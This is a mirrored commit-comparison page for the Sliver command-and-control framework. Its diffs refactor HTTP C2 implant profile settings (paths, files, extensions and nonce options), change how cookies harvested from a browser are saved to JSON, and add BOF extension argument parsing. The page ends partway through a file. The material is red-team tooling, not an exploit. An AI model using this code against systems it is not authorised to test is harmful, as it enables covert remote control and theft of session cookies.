mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-10 01:41:29 -10:00
Compare commits
78
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
78e6b3a9b3 | ||
|
|
509d1b46ff | ||
|
|
f06b2c2192 | ||
|
|
4138ddd84a | ||
|
|
e9a300bab2 | ||
|
|
6edd10a010 | ||
|
|
b438df4db9 | ||
|
|
49eab476bb | ||
|
|
8976654010 | ||
|
|
a78b8c2097 | ||
|
|
5709bb9a24 | ||
|
|
25668a6d82 | ||
|
|
3ae8353030 | ||
|
|
a3d053bde5 | ||
|
|
7e27a18245 | ||
|
|
c389bac46e | ||
|
|
fae8e77665 | ||
|
|
38cf0aeb8b | ||
|
|
a755750a89 | ||
|
|
555ee5c63d | ||
|
|
0fc51677c1 | ||
|
|
cc1c7a5364 | ||
|
|
d1fa99d6eb | ||
|
|
6697801f59 | ||
|
|
32fa69356c | ||
|
|
c42d754e72 | ||
|
|
e4babaf471 | ||
|
|
da196a789d | ||
|
|
6a656d63ab | ||
|
|
b0e226199a | ||
|
|
7cce6b17b2 | ||
|
|
d07aae4d0b | ||
|
|
f4a2ba536c | ||
|
|
2bbd69719d | ||
|
|
cf4ff14342 | ||
|
|
ae3a2fd51e | ||
|
|
d14ba3d35f | ||
|
|
10ef8b3e88 | ||
|
|
4bc65e2193 | ||
|
|
a45a5795d3 | ||
|
|
e1c5b77db4 | ||
|
|
280d08d074 | ||
|
|
1d55b34b62 | ||
|
|
d32302a1ab | ||
|
|
2eabfc255b | ||
|
|
d0375da6e4 | ||
|
|
4523c83b89 | ||
|
|
1decc7f462 | ||
|
|
f97a1e3fdf | ||
|
|
1e12ea3242 | ||
|
|
8919bc3b07 | ||
|
|
1a2b392d20 | ||
|
|
11a6584973 | ||
|
|
1e06fe6612 | ||
|
|
65ee18026e | ||
|
|
9c1617c213 | ||
|
|
d74067ddff | ||
|
|
60772c7659 | ||
|
|
25a70e6e4f | ||
|
|
a89675d961 | ||
|
|
0f340a25cf | ||
|
|
9cdc326b57 | ||
|
|
113ef5d7d0 | ||
|
|
9fa1e15425 | ||
|
|
e5e589e1b0 | ||
|
|
2e0fab3a71 | ||
|
|
99571dc73e | ||
|
|
5c2848c84c | ||
|
|
ffcfa8d1b5 | ||
|
|
debc03203c | ||
|
|
b84037af11 | ||
|
|
61ed176683 | ||
|
|
12e44644ed | ||
|
|
0b185cc885 | ||
|
|
ae0c106595 | ||
|
|
6d2b0f8319 | ||
|
|
60443f4fc7 | ||
|
|
418fe757d1 |
No files matched your search
+1
-1
@@ -91,7 +91,7 @@ ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
FROM debian:bookworm-slim as production-slim
|
||||
FROM debian:bookworm-slim AS production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
|
||||
+11
-24
@@ -57,30 +57,17 @@ type HTTPC2ImplantConfig struct {
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
NonceQueryLength int `json:"nonce_query_length"`
|
||||
NonceMode string `json:"nonce_mode"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
MaxFileGen int `json:"max_files"`
|
||||
MinFileGen int `json:"min_files"`
|
||||
MaxPathGen int `json:"max_paths"`
|
||||
MinPathGen int `json:"min_paths"`
|
||||
MaxPathLength int `json:"max_path_length"`
|
||||
MinPathLength int `json:"min_path_length"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
Extensions []string `json:"extensions"`
|
||||
Files []string `json:"files"`
|
||||
Paths []string `json:"paths"`
|
||||
}
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
@@ -67,7 +66,6 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
@@ -103,29 +101,6 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
@@ -201,23 +176,6 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
return
|
||||
}
|
||||
|
||||
c2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var extensions []string
|
||||
for _, c2profile := range c2Profiles.Configs {
|
||||
confProfile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: c2profile.Name})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StagerFileExtension)
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StartSessionFileExtension)
|
||||
}
|
||||
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -243,7 +201,7 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
}
|
||||
urls := strings.Split(string(fileContent), "\n")
|
||||
|
||||
jsonProfile, err := updateC2Profile(extensions, config, urls)
|
||||
jsonProfile, err := updateC2Profile(config, urls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -264,26 +222,26 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
}
|
||||
con.Println("C2 profile generated and saved as ", profileName)
|
||||
} else {
|
||||
PrintC2Profiles(profile, con)
|
||||
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
|
||||
}
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
MaxFiles: int(profile.ImplantConfig.MaxFiles),
|
||||
MinFiles: int(profile.ImplantConfig.MinFiles),
|
||||
MaxPaths: int(profile.ImplantConfig.MaxPaths),
|
||||
MinPaths: int(profile.ImplantConfig.MinFiles),
|
||||
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
|
||||
PollFileExt: profile.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: profile.ImplantConfig.NonceMode,
|
||||
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int(profile.ImplantConfig.MinPathLength),
|
||||
Extensions: profile.ImplantConfig.Extensions,
|
||||
}
|
||||
|
||||
var headers []assets.NameValueProbability
|
||||
@@ -308,50 +266,19 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
|
||||
implantConfig.URLParameters = urlParameters
|
||||
|
||||
var (
|
||||
stagerFiles []string
|
||||
pollFiles []string
|
||||
sessionFiles []string
|
||||
closeFiles []string
|
||||
stagerPaths []string
|
||||
pollPaths []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
files []string
|
||||
paths []string
|
||||
)
|
||||
|
||||
for _, pathSegment := range profile.ImplantConfig.PathSegments {
|
||||
if pathSegment.IsFile {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, pathSegment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, pathSegment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, pathSegment.Value)
|
||||
case 3:
|
||||
stagerFiles = append(stagerFiles, pathSegment.Value)
|
||||
}
|
||||
files = append(files, pathSegment.Value)
|
||||
} else {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, pathSegment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, pathSegment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, pathSegment.Value)
|
||||
case 3:
|
||||
stagerPaths = append(stagerPaths, pathSegment.Value)
|
||||
}
|
||||
paths = append(paths, pathSegment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
implantConfig.PollFiles = pollFiles
|
||||
implantConfig.SessionFiles = sessionFiles
|
||||
implantConfig.CloseFiles = closeFiles
|
||||
implantConfig.StagerFiles = stagerFiles
|
||||
implantConfig.PollPaths = pollPaths
|
||||
implantConfig.SessionPaths = sessionPaths
|
||||
implantConfig.ClosePaths = closePaths
|
||||
implantConfig.StagerPaths = stagerPaths
|
||||
implantConfig.Files = files
|
||||
implantConfig.Paths = paths
|
||||
|
||||
var serverHeaders []assets.NameValueProbability
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
@@ -390,68 +317,17 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
for _, file := range config.ImplantConfig.Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
for _, path := range config.ImplantConfig.Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -474,22 +350,22 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: config.ImplantConfig.NonceMode,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int32(config.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int32(config.ImplantConfig.MinPathGen),
|
||||
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int32(config.ImplantConfig.MinPathLength),
|
||||
Extensions: config.ImplantConfig.Extensions,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
@@ -599,96 +475,65 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query length",
|
||||
profile.ImplantConfig.NonceQueryLength,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce mode",
|
||||
profile.ImplantConfig.NonceMode,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
profile.ImplantConfig.MaxFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
profile.ImplantConfig.MinFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
profile.ImplantConfig.MaxPathGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
profile.ImplantConfig.MinPathGen,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
"Max path length",
|
||||
profile.ImplantConfig.MaxPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
"Min path length",
|
||||
profile.ImplantConfig.MinPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
"File extensions",
|
||||
strings.Join(profile.ImplantConfig.Extensions, ","),
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
paths []string
|
||||
files []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
files = append(files, segment.Value)
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
paths = append(paths, segment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
"Paths",
|
||||
strings.Join(paths[:], ",")[:50] + "...",
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
"Files",
|
||||
strings.Join(files[:], ",")[:50] + "...",
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
@@ -711,14 +556,13 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
return c2profile
|
||||
}
|
||||
|
||||
func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
// update the template with the urls
|
||||
|
||||
var (
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
filteredExtensions []string
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
for _, urlPath := range urls {
|
||||
@@ -747,23 +591,13 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
|
||||
slices.Sort(extensions)
|
||||
extensions = slices.Compact(extensions)
|
||||
|
||||
for _, extension := range extensions {
|
||||
if !slices.Contains(usedExtensions, extension) {
|
||||
filteredExtensions = append(filteredExtensions, extension)
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(paths)
|
||||
paths = slices.Compact(paths)
|
||||
|
||||
slices.Sort(filenames)
|
||||
filenames = slices.Compact(filenames)
|
||||
|
||||
// 5 is arbitrarily used as a minimum value, it only has to be 5 for the extensions, the others can be lower
|
||||
if len(filteredExtensions) < 5 {
|
||||
return nil, fmt.Errorf("got %d unused extensions, need at least 5", len(filteredExtensions))
|
||||
}
|
||||
|
||||
// 5 is arbitrarily used as a minimum value
|
||||
if len(paths) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
|
||||
}
|
||||
@@ -772,53 +606,8 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
|
||||
}
|
||||
|
||||
// shuffle extensions
|
||||
for i := len(extensions) - 1; i > 0; i-- {
|
||||
j := rand.Intn(i + 1)
|
||||
extensions[i], extensions[j] = extensions[j], extensions[i]
|
||||
}
|
||||
|
||||
template.ImplantConfig.PollFileExt = extensions[0]
|
||||
template.ImplantConfig.StagerFileExt = extensions[1]
|
||||
template.ImplantConfig.StartSessionFileExt = extensions[2]
|
||||
template.ImplantConfig.SessionFileExt = extensions[3]
|
||||
template.ImplantConfig.CloseFileExt = extensions[4]
|
||||
|
||||
// randomly distribute the paths and filenames into the different segment types
|
||||
template.ImplantConfig.CloseFiles = []string{}
|
||||
template.ImplantConfig.SessionFiles = []string{}
|
||||
template.ImplantConfig.PollFiles = []string{}
|
||||
template.ImplantConfig.StagerFiles = []string{}
|
||||
template.ImplantConfig.ClosePaths = []string{}
|
||||
template.ImplantConfig.SessionPaths = []string{}
|
||||
template.ImplantConfig.PollPaths = []string{}
|
||||
template.ImplantConfig.StagerPaths = []string{}
|
||||
|
||||
for _, path := range paths {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollPaths = append(template.ImplantConfig.PollPaths, path)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionPaths = append(template.ImplantConfig.SessionPaths, path)
|
||||
case 2:
|
||||
template.ImplantConfig.ClosePaths = append(template.ImplantConfig.ClosePaths, path)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerPaths = append(template.ImplantConfig.StagerPaths, path)
|
||||
}
|
||||
}
|
||||
|
||||
for _, filename := range filenames {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollFiles = append(template.ImplantConfig.PollFiles, filename)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionFiles = append(template.ImplantConfig.SessionFiles, filename)
|
||||
case 2:
|
||||
template.ImplantConfig.CloseFiles = append(template.ImplantConfig.CloseFiles, filename)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerFiles = append(template.ImplantConfig.StagerFiles, filename)
|
||||
}
|
||||
}
|
||||
|
||||
template.ImplantConfig.Extensions = extensions
|
||||
template.ImplantConfig.Paths = paths
|
||||
template.ImplantConfig.Files = filenames
|
||||
return template, nil
|
||||
}
|
||||
@@ -21,9 +21,10 @@ package cursed
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"encoding/json"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -46,24 +47,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
|
||||
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
|
||||
|
||||
err = os.WriteFile(saveFile, jsonBytes, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -0,0 +1,413 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
|
||||
// and converts them to a BOF-compatible binary buffer
|
||||
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
// Create a flag set and parse the arguments
|
||||
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Print debug information about parsed flags
|
||||
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
|
||||
// Initialize the BOF arguments buffer
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
// Process arguments and build the buffer
|
||||
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
|
||||
stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Return error if we have missing required arguments
|
||||
if len(missingRequiredArgs) > 0 {
|
||||
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
|
||||
}
|
||||
|
||||
// Get the final binary buffer
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get buffer: %v", err)
|
||||
}
|
||||
|
||||
return parsedArgs, nil
|
||||
}
|
||||
|
||||
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
|
||||
// and parses the provided arguments
|
||||
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
|
||||
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
|
||||
|
||||
// Create a new FlagSet
|
||||
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
|
||||
|
||||
// Maps to store flag value pointers
|
||||
stringValues := make(map[string]*string)
|
||||
intValues := make(map[string]*int)
|
||||
shortValues := make(map[string]*int)
|
||||
fileValues := make(map[string]*string) // Path to file data
|
||||
wstringValues := make(map[string]*string)
|
||||
|
||||
// Define expected flags based on manifest arguments
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
flagDesc := arg.Desc
|
||||
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
stringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "wstring":
|
||||
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "int", "integer":
|
||||
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
case "short":
|
||||
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
case "file":
|
||||
fileValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
default:
|
||||
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// Parse the arguments
|
